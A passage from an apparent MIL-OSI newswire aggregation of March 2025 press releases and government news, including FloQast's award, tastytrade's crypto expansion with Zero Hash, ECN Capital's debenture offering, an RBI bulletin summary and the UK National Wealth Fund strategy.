    FloQast’s accounting platform was purpose-built by accountants for accountants, focusing on enhancing team collaboration, efficiency, and accuracy in financial processes. The platform’s AI-driven capabilities enable accounting professionals to streamline their workflows while maintaining the highest standards of accuracy and control.

    “The 2025 FinTech Breakthrough Awards celebrate the most innovative companies and technologies shaping the future of financial services. FloQast stands out in the FinTech universe for its deep understanding of accountants’ needs and its innovative approach to solving real-world challenges in financial operations,” said Steve Johansson, Managing Director at FinTech Breakthrough. “Their platform demonstrates how thoughtfully applied automation and AI can transform accounting processes, enabling finance teams to focus on higher-value strategic activities.”

    For more information about FloQast and its award-winning platform, visit www.floqast.com.

    About FloQast

    FloQast, an Accounting Transformation Platform created by accountants for accountants, enables organizations to automate a variety of accounting operations. Trusted by more than 3,000 global accounting teams – including Twilio, Los Angeles Lakers, and Zoom – FloQast enhances the way accounting teams work, enabling customers to automate close management, account reconciliations, accounting operations, and compliance activities. With FloQast, teams can utilize the latest advancements in AI technology to manage aspects of the close, reduce their compliance burden, stay audit-ready, and improve accuracy, visibility, and collaboration overall. FloQast is consistently rated #1 across all user review sites. Learn more at FloQast.com.

    Contact:
    Kyle Cabodi
    FloQast Director of Corporate Communications
    kyle.cabodi@floqast.com

    The MIL Network –

    March 20, 2025
  • MIL-OSI: Tastytrade Expands Crypto Trading with New Digital Assets, Powered by Zero Hash

    Source: GlobeNewswire (MIL-OSI)

    CHICAGO, March 19, 2025 (GLOBE NEWSWIRE) — Zero Hash, the leading crypto and stablecoin infrastructure provider, today announced that tastytrade, a leading brokerage with an award winning platform for traders, has expanded their relationship with Zero Hash, enabling trading of five additional digital assets. Having launched crypto trading capability in 2020, through Zero Hash, this expansion meets increased customer demand for more crypto trading options.

    Tastytrade clients can now trade Bitcoin (BTC), Bitcoin Cash (BCH), Ethereum (ETH), Litecoin (LTC), Dogecoin (DOGE), Solana (SOL), Ripple (XRP), Cardano (ADA), Chainlink (LINK), Shiba Inu (SHIB), AAVE (AAVE), and Avalanche (AVAX) through Zero Hash. This week, tastytrade will also add support for Pepe (PEPE), Stellar (XLM), Tezos (XTZ), Sui (SUI), and Aptos (APT).

    “We were early crypto supporters, launching this set up with Zero Hash in 2020, furthering our mission of integrated access to all asset classes – including a growing number of digital assets,” said Ryan Grace, Head of Digital Assets at IG North America. “We will continue giving customers more choices in the fast-moving crypto space while maintaining the powerful, intuitive, and trusted experience they expect from tastytrade.”

    The expansion follows record crypto trading volume in Q4 2024 on the tastytrade platform. By leveraging Zero Hash’s full-stack API, tastytrade can quickly integrate the most popular digital assets without added complexity.

    “Zero Hash continues to power the infrastructure behind the biggest players in traditional brokerage, including tastytrade,” said Edward Woodford, Founder and CEO of Zero Hash. “Our ever-scaling partnership with tastytrade is another example of how we enable trading platforms to seamlessly integrate digital assets, and grow their offering to provide traders unparalleled, simplified access to crypto markets.”

    Zero Hash’s crypto brokerage infrastructure powers access to crypto for leading traditional brokers, including tastytrade and Interactive Brokers. The Zero Hash APIs enable:

    • Liquidity provision and seamless trade execution
    • Ensure regulatory compliance and secure custody solutions

    Disclosures

    Cryptocurrency trading at tastytrade is provided by Zero Hash Liquidity Services LLC, MSB # 31000181510564, and cryptocurrency custody provided by Zero Hash LLC NMLS # 169937. Zero Hash is a licensed virtual currency business by the NYDFS. Cryptocurrency accounts are not protected by SIPC coverage. Cryptocurrencies are not covered by the FDIC, which covers fiat currency. Cryptocurrency trading is not suitable for all investors due to the number of risks involved, including volatile market prices, illiquid market conditions, lack of regulatory oversight, market manipulation, and other risks. You are solely responsible for evaluating your financial circumstances and determining whether or not trading cryptocurrencies is appropriate for you. Please read the General Risks of Digital Assets risk disclosure. tastytrade, Inc. is a separate company and is not an affiliate company of Zero Hash Liquidity Services LLC or Zero Hash LLC.

    About tastytrade
    Tastytrade is an award-winning brokerage firm established in 2017 to change the way people invest. tastytrade, named Best Broker for Options in 2024 by Investopedia and Best Broker in North America by TradingView, empowers investors seeking to actively manage their own money with a powerful platform and access to educational content for options, futures, crypto and equities trading. tastytrade is an indirect subsidiary of IG US Holdings, Inc., parent to tastylive, the financial content and education platform, tasty Software Solutions, LLC, and a subsidiary of IG Group Holdings plc (LON:IGG), a global fintech company that provides award-winning products, platforms and access to ~19,000 financial markets to investors around the world. Learn more at www.tastytrade.com.   

    About Zero Hash
    Zero Hash is the leading crypto and stablecoin infrastructure provider that seamlessly connects fiat, crypto, and stablecoins in one platform, enabling a better way to move and transfer money and value globally.

    Through its embeddable infrastructure, start-ups, enterprises, and Fortune 500 companies build a diverse range of use cases, including cross-border payments, commerce, trading, remittance, payroll, tokenization, wallets, and on/off-ramps.

    Zero Hash Holdings is backed by investors, including Point72 Ventures, Bain Capital Ventures, and NYCA.

    Zero Hash LLC is a FinCen-registered Money Service Business and a regulated Money Transmitter that can operate in 51 U.S. jurisdictions. Zero Hash LLC and Zero Hash Liquidity Services LLC are licensed to engage in virtual currency business activity by the New York State Department of Financial Services. In Canada, Zero Hash LLC is registered as a Money Service Business with FINTRAC.

    Zero Hash Australia Pty Ltd. is registered with AUSTRAC as a Digital Currency Exchange Provider, with DCE registered provider number DCE100804170-001. Zero Hash Australia Pty Ltd. is registered on the New Zealand register of financial service providers, with Financial Service Provider (FSP) number FSP1004503. Zero Hash Europe B.V. is registered as a Virtual Asset Services Provider (VASP) by the Dutch Central Bank (Relation number: R193684). Zero Hash Europe Sp. Zoo is registered as a VASP by the Tax Administration Chamber of Poland in Katowice (Registration number RDWW – 1212).

    Media Contacts

    Zero Hash
    Shaun O’Keeffe
    (855) 744-7333
    media@zerohash.com

    Tastytrade
    Laura Hayes
    laura.hayes@ig.com

    The MIL Network –

    March 20, 2025
  • MIL-OSI: Trisura to Speak at National Bank Financial Services Conference

    Source: GlobeNewswire (MIL-OSI)

    TORONTO, March 19, 2025 (GLOBE NEWSWIRE) — David Clare, President and Chief Executive Officer of Trisura Group Ltd. (“Trisura” or “Trisura Group”) (TSX: TSU), will participate in a fireside chat as a part of the National Bank Financial Services Conference on Wednesday, March 26, 2025.

    A link to access a replay of the webcast will be available in the ‘Events’ section of Trisura’s website.

    About Trisura Group

    Trisura Group Ltd. is a specialty insurance provider operating in the Surety, Warranty, Corporate Insurance, Program and Fronting business lines of the market. Trisura has investments in wholly owned subsidiaries through which it conducts insurance operations. Those operations are primarily in Canada and the United States. Trisura Group Ltd. is listed on the Toronto Stock Exchange under the symbol “TSU”.

    Further information is available at https://www.trisura.com. Important information may be disseminated exclusively via the website; investors should consult the site to access this information. Details regarding the operations of Trisura Group Ltd. are also set forth in regulatory filings. A copy of the filings may be obtained on Trisura Group’s SEDAR+ profile at www.sedarplus.ca.

    For more information, please contact:
    Name: Bryan Sinclair
    Tel: 416 607 2135
    Email: bryan.sinclair@trisura.com

    The MIL Network –

    March 20, 2025
  • MIL-OSI: ECN Capital Announces Closing of C$75 Million Offering of 6.50% Convertible Senior Unsecured Debentures

    Source: GlobeNewswire (MIL-OSI)

    NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES OR DISSEMINATION IN THE UNITED STATES.

    TORONTO, March 19, 2025 (GLOBE NEWSWIRE) — ECN Capital Corp. (TSX: ECN) (“ECN Capital”) today announced that it has closed the previously announced offering (the “Offering”) of C$75 million aggregate principal amount of convertible senior unsecured debentures due April 30, 2030 (the “Debentures”). The Offering was conducted by a syndicate of underwriters co-led by CIBC Capital Markets, National Bank Financial Markets, BMO Capital Markets and RBC Capital Markets, and including Raymond James Ltd., TD Securities Inc., Canaccord Genuity Corp. and Cormark Securities Inc. (collectively, the “Underwriters”). ECN Capital has also granted the Underwriters an option to purchase up to an additional C$11.25 million aggregate principal amount of Debentures, on the same terms and conditions, exercisable in whole or in part, for a period of 30 days following closing of the Offering.

    The Debentures bear interest at a rate of 6.50% per annum, payable semi-annually in arrears on April 30 and October 31 of each year, with the first interest payment on October 31, 2025. The Debentures are convertible at the option of the holder into common shares of the Company (“Common Shares”) at an initial conversion price of C$3.77 per Common Share, being a conversion ratio of approximately 265.2520 Common Shares for each C$1,000 principal amount of Debentures, subject to adjustment in certain circumstances. The Debentures will mature on April 30, 2030.

    The Debentures will commence trading today on the Toronto Stock Exchange (“TSX”) under the symbol “ECN.DB.C”. Further details concerning the Offering are set out in ECN Capital’s prospectus supplement dated March 14, 2025, which is available on ECN Capital’s profile on SEDAR+ at www.sedarplus.com.

    ECN Capital intends to use the net proceeds of the Offering to redeem all of its outstanding 6.00% senior unsecured debentures due December 31, 2025 (the “2025 Debentures”), on April 25, 2025 (the “Redemption Date”). Notice of the redemption will be delivered to the registered holder(s) of the 2025 Debentures through the debenture trustee, Computershare Trust Company of Canada (“Computershare Trust”), in accordance with the trust indenture governing the 2025 Debentures between ECN Capital and Computershare Trust dated September 3, 2020. ECN Capital has obtained the consent of the majority of lenders required under its senior credit facility in order to proceed with the redemption of the 2025 Debentures prior to the maturity date.

    On the Redemption Date, the Company will pay holders of the 2025 Debentures a redemption price equal to the outstanding principal amount of 2025 Debentures held, plus accrued and unpaid interest thereon up to but excluding the Redemption Date, less any taxes required to be deducted or withheld.

    The 2025 Debentures are currently listed on the TSX under the symbol ECN.DB. ECN Capital expects that the 2025 Debentures will be de-listed from the TSX following their redemption.

    Beneficial holders of the 2025 Debentures are encouraged to contact their investment dealer if they have any questions about this redemption.

    The securities offered pursuant to the Offering have not been, nor will they be, registered under the United States Securities Act of 1933, as amended, (the “1933 Act”) and may not be offered, sold or delivered, directly or indirectly, in the United States, or to, or for the account or benefit of, “U.S. persons” (as defined in Regulation S under the 1933 Act), except pursuant to an exemption from the registration requirements of the 1933 Act. This press release does not constitute an offer to sell or a solicitation of an offer to buy any securities, nor shall there be any sale of securities in any state or jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction.

    About ECN Capital Corp.

    With managed assets of US$6.9 billion, ECN Capital Corp. (TSX: ECN) is a leading provider of business services to North American-based banks, institutional investors, insurance company, pension plan, bank and credit union partners (collectively, its “Partners”). ECN Capital originates, manages and advises on credit assets on behalf of its Partners, specifically consumer (manufactured housing and recreational vehicle and marine) loans and commercial (floorplan and rental) loans. Its Partners are seeking high-quality assets to match with their deposits, term insurance or other liabilities. These services are offered through two operating segments: (i) Manufactured Housing Finance, and (ii) Recreational Vehicle and Marine Finance.

    Contact

    Katherine Moradiellos
    561-631-8739
    kmoradiellos@ecncapitalcorp.com

    Forward-Looking Statements

    This release includes forward-looking statements regarding ECN Capital and its business. Such statements are based on the current expectations and views of future events of ECN Capital’s management. In some cases the forward-looking statements can be identified by words or phrases such as “may”, “will”, “expect”, “plan”, “anticipate”, “intend”, “potential”, “estimate”, “believe” or the negative of these terms, or other similar expressions intended to identify forward-looking statements. Forward-looking statements in this press release include those relating to the use of proceeds of the Offering, the redemption of the 2025 Debentures (including the expected delisting of the 2025 Debentures), the exercise of the over-allotment option and the trading of the Debentures on the Toronto Stock Exchange. The forward-looking events and circumstances discussed in this release may not occur and could differ materially as a result of known and unknown risk factors and uncertainties affecting ECN Capital, including risks regarding the finance industry, economic factors, and many other factors beyond the control of ECN Capital. No forward-looking statement can be guaranteed. Forward-looking statements and information by their nature are based on assumptions and involve known and unknown risks, uncertainties and other factors which may cause ECN Capital’s actual results, performance or achievements, or industry results, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statement or information. Accordingly, readers should not place undue reliance on any forward-looking statements or information. A discussion of the material risks and assumptions associated with these forward-looking statements can be found in ECN Capital’s Management Discussion and Analysis for the year ended December 31, 2024 and ECN Capital’s 2024 Annual Information Form dated February 27, 2025, each of which have been filed on SEDAR+ and can be accessed at www.sedarplus.com. Accordingly, readers should not place undue reliance on any forward-looking statements or information. Except as required by applicable securities laws, forward-looking statements speak only as of the date on which they are made and ECN Capital does not undertake any obligation to publicly update or revise any forward-looking statement, whether as a result of new information, future events, or otherwise.

    The MIL Network –

    March 20, 2025
  • MIL-OSI Russia: The government has extended the decision to cancel the accrual of increased penalties for late payments for housing and communal services

    Translartion. Region: Russians Fedetion –

    Source: Government of the Russian Federation – An important disclaimer is at the bottom of this article.

    The government has extended until the end of 2026 the specifics of calculating and paying penalties and fines for late payment of housing and communal services (HCS) without reference to the increased key rate of the Bank of Russia. A resolution on this has been signed.

    In 2025 and 2026, the calculation of penalties and fines will be based on the Bank of Russia’s key rate of 9.5% per annum, which was in effect on February 27, 2022. The decision applies to legal relations that arose from January 1, 2025.

    According to the Housing Code, the amount of the penalty for incomplete and untimely payment for housing and communal services is determined taking into account the key rate of the Central Bank on the day of actual payment from the amount not paid on time for each day of delay. At the current key rate, the maximum amount of the penalty would be disproportionate to the payments of citizens for housing and communal services, therefore, the rate value that was in effect before the increase will be used for the calculation.

    A similar procedure for calculating increased penalties for late payments in the sphere of housing and communal services was in effect in 2022, 2023 and 2024. The federal law extending the powers of the Government to establish such features of regulating housing relations in 2025–2026 was signed in early 2025.

    The document will be published.

    Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

    MIL OSI Russia News –

    March 20, 2025
  • MIL-OSI Economics: RBI Bulletin – March 2025

    Source: Reserve Bank of India

    Today, the Reserve Bank released the March 2025 issue of its monthly Bulletin. The Bulletin includes four speeches, five articles and current statistics.

    The five articles are: I. State of the Economy; II. Spatial Distribution of Monsoon and Agricultural Production; III. Changing Dynamics of India’s Remittances – Insights from the Sixth Round of India’s Remittances Survey; IV. Decoupling Economic Growth from Emissions: A LMDI Decomposition Analysis; and V. Market Access and IMF Arrangements: Evidence from Across the Globe.

    I. State of the Economy

    The resilience of the global economy is being tested by escalating trade tensions and a heightened wave of uncertainty around the scope, timing, and intensity of tariffs. While engendering heightened volatility in global financial markets, these have also caused apprehensions about the slowdown in global growth. Amidst these challenges, the Indian economy continues to demonstrate resilience as evident in the robust performance of the agriculture sector and improving consumption. The reverberations of a tumultuous external environment, however, are being reflected in sustained foreign portfolio outflows. India’s macroeconomic strength to face these challenges is bolstered by a decline in headline CPI inflation to a seven-month low of 3.6 per cent in February 2025 on account of a further correction in food prices.

    II. Spatial Distribution of Monsoon and Agricultural Production

    By Abhinav Narayanan and Harendra Kumar Behera

    This article analyses the impact of spatial variation of rainfall across districts on production of Kharif crops. It also examines how deficient or excess rainfall during specific periods impact the production of specific crops.

    Highlights:

    • Extreme weather events such as excessive or insufficient rainfall cause significant crop damages leading to disruptions in production resulting in reduced yields or lower quality of produce.

    • The timing of extreme weather events is crucial, as crop production cycles vary.

    • Insufficient rainfall in the months of June and July negatively impacts cereal and pulses production, while oilseeds are particularly vulnerable to excessive rainfall during the harvesting period (August-September).

    III. Changing Dynamics of India’s Remittances – Insights from the Sixth Round of India’s Remittances Survey

    By Dhirendra Gajbhiye, Sujata Kundu, Alisha George, Omkar Vinherkar, Yusra Anees, Jithin Baby

    This article analyses the results of the sixth round of India’s remittances survey conducted for 2023-24. It captures various dimensions of inward remittances to India – country-wise source of remittances, state-wise destination of remittances, transaction-wise size of remittances, prevalent mode of transmission, cost of sending remittances and share of remittances transmitted through the digital modes vis-à-vis cash.

    Highlights:

    • India’s inward remittances have more than doubled during 2010-11 to 2023-24 and have been a stable source of external financing during this period. Following a pandemic-led contraction during 2020-21, remittances to India in the post pandemic period recorded a significant surge.

    • The survey results indicate that the share of inward remittances from advanced economies has risen, surpassing the share of Gulf economies in 2023-24, reflecting a shift in migration pattern towards skilled Indian diaspora.

    • Maharashtra, followed by Kerala and Tamil Nadu, continue to be the dominant recipient of remittances.

    • The cost of sending remittances to India has moderated significantly, driven by digitalisation, but remains higher than the SDG target of 3 per cent.

    • Additionally, on an average, 73.5 per cent of total remittances received by the money transfer operators in 2023-24 were through digital mode.

    • Furthermore, fintech companies offer affordable cross-border remittance services, fostering competition among different remittance service providers.

    IV. Decoupling Economic Growth from Emissions: A LMDI Decomposition Analysis

    By Madhuresh Kumar, Shobhit Goel, Manu Sharma, Muskan Garg

    This article examines the drivers behind India’s CO₂ emissions growth from 2012 to 2022 using the Logarithmic Mean Divisia Index (LMDI) decomposition method. It breaks down total emissions into key contributing factors, including the impact of GDP growth (activity effect), improvements in energy efficiency (energy intensity effect), shifts in the economic structure (structural effect), changes in the composition of fuel (fuel mix effect), and the growing share of renewable energy in electricity generation, which reduces the carbon intensity of electricity (emission factor effect).

    Highlights:

    • During 2012-22, energy-related CO2 emissions increased by 706 million tons. The main contributor was economic growth (+1073 Mt), with a smaller impact from the change in fuel mix of the economy (+78 Mt). However, gains in energy efficiency (-399 Mt), structural changes (-15 Mt), and improvements in emission intensity of electricity due to increased use of renewables (-30 Mt) helped curb emissions.

    • India’s energy efficiency improved by 1.9 per cent annually, exceeding the global average.

    • India’s growth decoupled from emissions, with a decoupling elasticity of 0.59, comparable to other lower-middle-income countries.

    • Renewables have had a small but significant impact on emission reduction over the past decade, with solar and wind accounting for 2.1 percent of total primary energy in 2022-23.

    • Going ahead, the emission factor effect is expected to play a more prominent role as renewables increasingly replace fossil fuels and green hydrogen usage expands in industries.

    V. Market Access and IMF Arrangements: Evidence from Across the Globe

    By Shruti Joshi and PSS Vidyasagar

    The article analyses loans availed by various countries from the International Monetary Fund (IMF) during 2000-2023 and finds a negative relation between market access and dependence on IMF’s loan for those countries which resorted to IMF loans.

    Highlights:

    • During 2000-2023, dependence of Emerging Market and Developing Economies (EMDEs) on IMF resources increased on account of their limited access to international financial markets and alternate sources of funding. Several fast growing large EMDEs, including India and China, however, did not have to take recourse to the IMF loans.

    • During the crisis periods, especially the Global Financial Crisis and Euro-Zone Crisis, some Advanced Economies also resorted to IMF loans due to their reduced market access on account of sovereign rating downgrades.

    • Among countries that resorted to IMF loans, those which faced a larger country risk premium availed larger funding.

    • Access to alternative sources of funding such as Regional Financing Arrangements (RFAs) and swap lines reduces the dependence on IMF loans.

    The views expressed in the Bulletin articles are of the authors and do not represent the views of the Reserve Bank of India.

    (Puneet Pancholy)  
    Chief General Manager

    Press Release: 2024-2025/2418

    MIL OSI Economics –

    March 20, 2025
  • MIL-OSI Africa: Deputy President stresses importance of coordinated approach to challenges

    Source: South Africa News Agency

    Deputy President Paul Mashatile has stressed the need for a coordinated approach to peacebuilding and economic resilience.

    This as he highlighted that the conflicts between Russia and Ukraine and conflicts in the eastern Democratic Republic of Congo, Sudan, in the Sahel, and in Gaza, continue to exert a heavy human toll while heightening global insecurity. 

    The Deputy President was speaking at the United Nations University (UNU) in Tokyo, Japan on Tuesday. 

    The UNU, in partnership with the Embassy of South Africa in Japan, is co-hosting a symposium exploring South Africa’s G20 Presidency and steps to ensure solidarity, equality and sustainability for all. 

    Touching on the deepening conflict and instability across Africa and the world, the Deputy President said this requires coordinated preventive action including dedicated intervention on peace building that is programmatic in nature.

    “We are encouraged by the partnership between the United Nations University and the University of South Africa (UNISA) in cooperation with other relevant partner organisations to co-design and co-deliver required capacity building programmes for African leaders and mediators for resolving conflicts and blazing a path towards achieving peace, security and prosperity, “the Deputy President explained.

    He further emphasised the urgent need for comprehensive, African-centred peace-building research and training programmes that span throughout Africa to address the urgent demand for capacity for conflict management and resolution, as well as society reconstruction.

    G20 Presidency

    “In our G20 Presidency, South Africa will continue to advocate for diplomatic solutions. Inclusive dialogue is the foremost guarantor of sustainable peace.
    “South Africa has shown a firm resolve in its foreign policy by promoting principles of justice, solidarity, equality, peace, and respect, underpinned by its commitment to human dignity and leaving no one behind,” he said. 

    This was the reason South Africa has placed solidarity, equality, sustainability at the centre of its G20 Presidency.

    As part of South Africa’s G20 intention to place Africa’s development at the top of the agenda, Mashatile outlined four key priorities which are strengthening disaster resilience, ensuring debt sustainability for developing economies, mobilising finance for a just energy transition, and harnessing critical minerals for sustainable growth. 

    “Our hosting of the G20 Finance Ministers and Central Bank Governors Meeting, and the Business 20 provided an opportunity for us to promote South Africa and Africa as a business and investment destination and for the country to take the lead on providing solutions to global economic challenges,” he said. 

    He emphasised the country’s commitment to driving economic reforms, increasing investor confidence, and enhancing structural efficiencies in energy, water, and transport sectors.

    “We believe that addressing structural concerns is essential to maintaining investor confidence and ensuring long-term economic stability. It is only by accelerating structural reforms and harnessing the power of the private sector that the country can sustain economic momentum and attract further foreign investment.

    “As the South African government, we are implementing extensive structural, policy, and regulatory reforms to enhance the economy’s performance,” he said. 

    AI role in shaping Africa’s economic future

    The Deputy President also emphasised the role of artificial intelligence (AI) and digital transformation in shaping Africa’s economic future, calling for greater collaboration between African institutions and international organisations. 

    Quoting Professor Tshilidzi Marwala, he noted the need for South Africa to embrace AI while also ensuring ethical considerations remain central to its deployment. 

    He urged institutions like UNU to partner with African universities to foster digital skills development and AI-driven innovation.

    As the G20 Presidency has shifted to South Africa, the Deputy President said that AI has emerged as a key area of focus.

    Through the G20 Presidency, he said the country aims to harness AI to advance the Sustainable Development Goals agenda and address global challenges.

    “We encourage the United Nations University to work alongside Africa in the development of AI, which has the potential to considerably boost the continent’s economies. You must cooperate with additional universities in South Africa and throughout Africa to help overcome digital barriers, promote equality, and support inclusive sustainable development,” he said. 

    Mashatile added that African governments are also recognising the importance of the digital economy, which is heavily influenced by artificial intelligence. He noted that the digital economy and AI are becoming more important drivers of economic and social value creation throughout the world. 

    “We are investing in digital infrastructure, skills development, and entrepreneurship to assist Africa’s digital economy to expand,” he said. – SAnews.gov.za

    MIL OSI Africa –

    March 20, 2025
  • MIL-OSI United Kingdom: Chancellor’s National Wealth Fund to deliver growth and boost security

    Source: United Kingdom – Executive Government & Departments

    News story

    Chancellor’s National Wealth Fund to deliver growth and boost security

    Chancellor sets new strategy for National Wealth Fund to reflect our Plan for Change, unlocking billions of pounds of private investment into the UK.

    • New strategic steer will see National Wealth Fund take on higher risk projects as government goes further and faster to kickstart economic growth, make Britain a clean energy superpower and boost security.
    • Government also launches recruitment for a new National Wealth Fund CEO to build on the £1.8 billion unlocked in private investment since July.

    The National Wealth Fund will unlock over £70 billion in private investment to help deliver economic growth, make Britain a clean energy superpower, and strengthen the defence sector, the Chancellor has confirmed today [19 March]. 

    The new strategic direction sets clean energy, advanced manufacturing, digital technologies, and transport as new priority sectors for the National Wealth Fund. Money will be invested across the United Kingdom in projects like carbon capture, green hydrogen, gigafactories, green steel, and ports.  

    Crucially, the Chancellor’s steer will help direct investment to the industries our defence sector relies on – advanced manufacturing and digital and dual-use technologies – working with industry to keep Britain safe and building on the Government’s commitment to increase spending on defence and national security to 2.5% of GDP from April 2027.   

    The National Wealth Fund’s economic capital limit will also be increased from £4.5 billion to £7 billion, allowing it take on greater risk. This means it has more flexibility over its investments and can support more projects that struggle to access private finance.

    Chancellor of the Exchequer, Rt Hon Rachel Reeves MP, said:

    My number one mission is kickstarting economic growth through our Plan for Change to make Great Britain a stronger, more resilient country and put more money into the pockets of working people.

    I am determined to go further and faster to get our economy growing. By directing tens of billions of pounds into the UK’s industrial strengths, we’ll deliver the high-skilled, high-paid jobs of the future in every corner of the country.

    Since July last year, the National Wealth Fund has unlocked 9,900 jobs and nearly £1.8 billion of private investment in growth-driving industries like green energy and technology. 

    Investment has already started flowing into priority sectors including £55 million for Connected Kerb to increase coverage of EV charging networks and a £28.6 million investment into Cornish Metals. 

    The Chancellor’s strategic steer comes as a new £9.6 million National Wealth Fund investment was announced today for Solihull Council to improve the area’s heating infrastructure and reduce bills, providing low carbon heating, hot water and power to town centre buildings. 

    To lead this new chapter for the UK’s flagship public investor, the Government has also launched a recruitment campaign for the National Wealth Fund’s next CEO. 

    John Flint will step down from the role of CEO in the summer after successfully seeing through the National Wealth Fund’s transition from the UK Infrastructure Bank. 

    The Chancellor will also establish a new UK Strategic Public Investment Forum joining up the UK’s leading policymakers and public financial institutions including the CEOs of the National Wealth Fund, British Business Bank, UK Export Finance, Homes England, Innovate UK, and Great British Energy and The Crown Estate. 

    The forum – the first of its kind – will cooperate on delivering investments to the priority areas set out by the Chancellor and will be tasked with ensuring the Government is getting maximum impact for its investments.  

    Stemming from this, the National Wealth Fund will work closely with Great British Energy to support its quick establishment as a publicly owned clean energy company that will boost Britain’s energy security making it a clean energy superpower, lower bills, create jobs, and grow the economy.

    Investing in homegrown clean energy industries is an essential part of the government’s drive to replace the UK’s dependency on fossil fuel markets controlled by petrostates and dictators with clean, homegrown power.

    Secretary of State for Energy Security and Net Zero, Rt Hon Ed Miliband MP, said:

    Clean power is the economic opportunity of the 21st century – and through the National Wealth Fund we will seize this opportunity to invest in British industries and workers.

    We are delivering our clean energy superpower mission to make our country energy secure and deliver the good jobs that the British people deserve.

    More details on Great British Energy’s developer mandate have also been released today.

    The partnership between Great British Energy and the National Wealth Fund will see the former bringing project development expertise as well as investment, and the latter providing finance, a model already being deployed in Japan and Denmark. 

    Harnessing private investment via the National Wealth Fund is part of the Government’s wider efforts to kickstart economic growth and deliver a new era of security and renewal through our Plan for Change. 

    Cutting red tape so major infrastructure projects can progress, removing unnecessary hurdles in the planning system so more homes can be built, and progressing new economic partnerships with international partners like Japan and India is part of the work being undertaken to grow the economy and put more money in people’s pockets.


    More information

    • Investments made by the National Wealth Fund can be found on the National Wealth Fund website 

    • Further details of the Chancellor’s strategic steer for the National Wealth Fund can be found in the Statement of Strategic Priorities to the National Wealth Fund

    • Further details of the recruitment of the National Wealth Fund’s next CEO can be found in the National Wealth Fund Candidate Information Pack CEO (PDF, 463 KB, 13 pages).

    • The findings of the public financial institution stocktake including a landscape map can be found in the Launch of the UK Strategic Public Investment Forum

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    Published 19 March 2025

    MIL OSI United Kingdom –

    March 20, 2025
  • MIL-OSI: Southern Michigan Bancorp, Inc. Announces Increase in Quarterly Dividend

    Source: GlobeNewswire (MIL-OSI)

    COLDWATER, Mich., March 19, 2025 (GLOBE NEWSWIRE) — The Board of Directors of Southern Michigan Bancorp, Inc. (OTC Pink: SOMC) approved an increase to the quarterly cash dividend that will be paid in April 2025. The $0.16 per share dividend is an increase of $0.01 per share over the January 2025 cash dividend payment of $0.15 per share. The dividend is payable on April 18, 2025, to shareholders of record April 4, 2025. The annualized cash dividend of $0.64 per share represents a 3.37% dividend yield based on the current market price of $19.00 per share.

    Southern Michigan Bancorp, Inc. is a bank holding company and the parent company of Southern Michigan Bank & Trust. It operates 18 branches within Branch, Calhoun, Hillsdale, Jackson, Kalamazoo, and St. Joseph Counties, and a loan production office in Jackson County, providing a broad range of consumer, business, and wealth management services throughout the region. For more information, please visit the Southern Michigan Bank & Trust website, www.smb-t.com.

    This press release contains forward-looking statements that are based on management’s beliefs, assumptions, current expectations, estimates and projections about the financial services industry, the economy, and Southern Michigan Bancorp, Inc. Although we currently expect to continue to pay a quarterly cash dividend, each future dividend will be considered and declared by the board of directors in its discretion. Whether the board of directors continues to declare dividends depends on a number of factors, including our future financial condition and profitability. Forward-looking statements are based upon current beliefs and expectations and involve substantial risks, uncertainties, and assumptions (“risk factors”), which could cause actual results to differ materially from those expressed or implied by such forward-looking statements.   We undertake no obligation to update or revise our forward-looking statements to reflect developments that occur, or information obtained after the date of this report.

    The MIL Network –

    March 20, 2025
  • MIL-OSI: Town of Lovell, Wyoming Settles Collective Intellectual Property Infringement Claims With Eastern Point Trust Company

    Source: GlobeNewswire (MIL-OSI)

    Cheyenne, March 19, 2025 (GLOBE NEWSWIRE) — Coal Creek Law of Cheyenne Wyoming announces, on behalf of its client Eastern Point Trust Company (Eastern Point), the final settlement and resolution of intellectual property infringement claims brought by Eastern Point against the Town of Lovell, Wyoming (Lovell). The settled claims included, but were not limited to, evidence of Lovell’s infringement of Eastern Point’s Collective Intellectual Property.

    Town Attorney Alexa Rolin of Copenhaver, Kitchen, and Kolpitcke is quoted in the March 6, 2025, Lovell Chronicle article (https://www.lovellchronicle.com/content/town-lovell-terminates-qsf-agreement-colorado-bank) as saying, “‘The town is no longer working with Flatirons in any capacity,’ she said. ‘The agreement is terminated.’” The same Chronicle article further stated, “In a follow-up interview on March 3, Rolin explained that the vote on the settlement agreement the previous week had the effect of an immediate termination of the QSF relationship with Flatirons Bank.”

    Sam Kott, Vice President and Corporate Counsel, commented, “Eastern Point invested heavily in its pioneering intellectual property and leads the Qualified Settlement Fund industry in innovation and proprietary process development. We are grateful to the Town of Lovell’s leadership for quickly resolving the matter and ceasing all associated activities.” Additionally, Mr. Kott noted, “Without exception, Eastern Point will vigorously defend its property rights and pursue all infringements to the fullest extent of the law, which provides relief and enforcement through both civil and contractual rights avenues.”

    In related comments, Edward “Ned” Armand, CEO and chairman of Eastern Point, observed, “Federal and state laws prohibit the misappropriation of trade secrets, industrial espionage, and related infringement activity. Eastern Point will, in every instance, enforce its rights using all available avenues and tools against all infringing parties.’ He stated, “No ethical businessperson will justify misappropriating or otherwise converting another business’s trade secrets and IP property as an allowable or defensible action.”

    For more information, please contact Sam Kott, as shown below.

    About Coal Creek Law

    Coal Creek Law (Evans, Bush, Coppede & Wilkens) is an experienced Rocky Mountain and Great Plains law firm in Cheyenne, Wyoming. It provides legal counsel in Wyoming, Colorado, and Nebraska. Coal Creek strives to provide results-oriented and value-driven legal support to individuals and businesses.

    About Eastern Point Trust Company

    Eastern Point Trust Company is a leading innovative trust and trust administration service provider that delivers personalized solutions for attorneys, individuals, families, and institutions. With a steadfast commitment to excellence and integrity, Eastern Point Trust Company offers a comprehensive range of trust-based and ministerial solutions. Moreover, it continues to lead the way in the trust and settlement administration industry, focusing on innovation, speed, and customer satisfaction. Eastern Point Trust Company is committed to delivering cutting-edge solutions that empower the Qualified Settlement Fund Administration and settlement industry to achieve its goals.

    Contact: 

    Sam Kott
    Phone: 855-222-7513 (#217)
    Email: SamKott@easternpointservices.com
    Website: www.easternpointtrust.com

    Disclaimer: The information in this press release is for informational purposes only. It does not constitute legal or investment advice, nor is it an offer to sell or a solicitation to purchase a security or service in any jurisdiction.

    The MIL Network –

    March 20, 2025
  • MIL-OSI: Blackford Capital Announces Hiring of Rick Lopez as Managing Director

